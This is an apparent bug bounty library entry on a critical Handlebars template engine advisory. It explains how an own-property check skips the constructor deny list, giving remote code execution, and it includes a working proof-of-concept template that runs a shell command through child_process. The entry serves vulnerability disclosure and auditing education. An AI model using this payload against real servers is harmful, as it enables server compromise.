# Handlebars: JavaScript Injection via Own Property Check Bypass

Handlebars lookupProperty returns own properties before deny-list check, letting templates reach Function.prototype.constructor and execute arbitrary JS for RCE.

- Payout: Research
- Severity: critical
- Program: Handlebars
- Found by: brandon-t-elliott
- Disclosed: 2026-10-08
- CVE: CVE-2026-106445
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p8wg-vrv2-v86f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p8wg-vrv2-v86f
- Tags: area:web domain:oss domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:access-control vuln:rce

**Target:** npm handlebars template engine (lookupProperty / proto access control)
**Root cause:** lookupProperty returns any own property of the parent before resultIsAllowed runs; since constructor is an own property of prototype objects (e.g. Function.prototype.constructor === Function), the deny list entry for constructor is never evaluated.
**Steps:**
1. Reach a prototype object: `{{lookup myFunction "__proto__"}}` resolves to Function.prototype (proto not denied when allowProtoMethodsByDefault is true).
2. Access constructor via own-property bypass: `{{lookup (lookup myFunction "__proto__") "constructor"}}` returns Function without hitting resultIsAllowed.
3. Build a code array from a string literal using push/pop/shift helpers inside `{{#with a}}`.
4. Push Function into the array via `{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}`.
5. Use `{{#each @root}}` to set depth0=Function without invoking it, then `{{#with (this.apply null @root.a)}}` to execute the constructed function body.
6. Observe command output (e.g. `uid=1000(node)...`) rendered in the template result.
**How found:** Noticed lookupProperty short-circuits on hasOwnProperty before resultIsAllowed, then observed that constructor is an own property of prototype objects, so the deny list is bypassed once a template reaches Function.prototype.
**Exploitation:** Attacker who controls template content and renders with allowProtoMethodsByDefault:true (default in wrappers like hbs) walks to Function.prototype.constructor, assembles a function body string via array helpers, and invokes Function.apply through #each/#with to run arbitrary JS such as child_process.execSync('id') on the server.
**Insight:** When auditing template engines' property-access deny lists, check whether the guard runs after own-property short-circuits: built-in prototype members like constructor are own properties of prototype objects and slip past name-based blocklists.

## Proof of concept (copied exactly from the original report)

**Handlebars template achieving RCE via constructor bypass**

```
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());
```

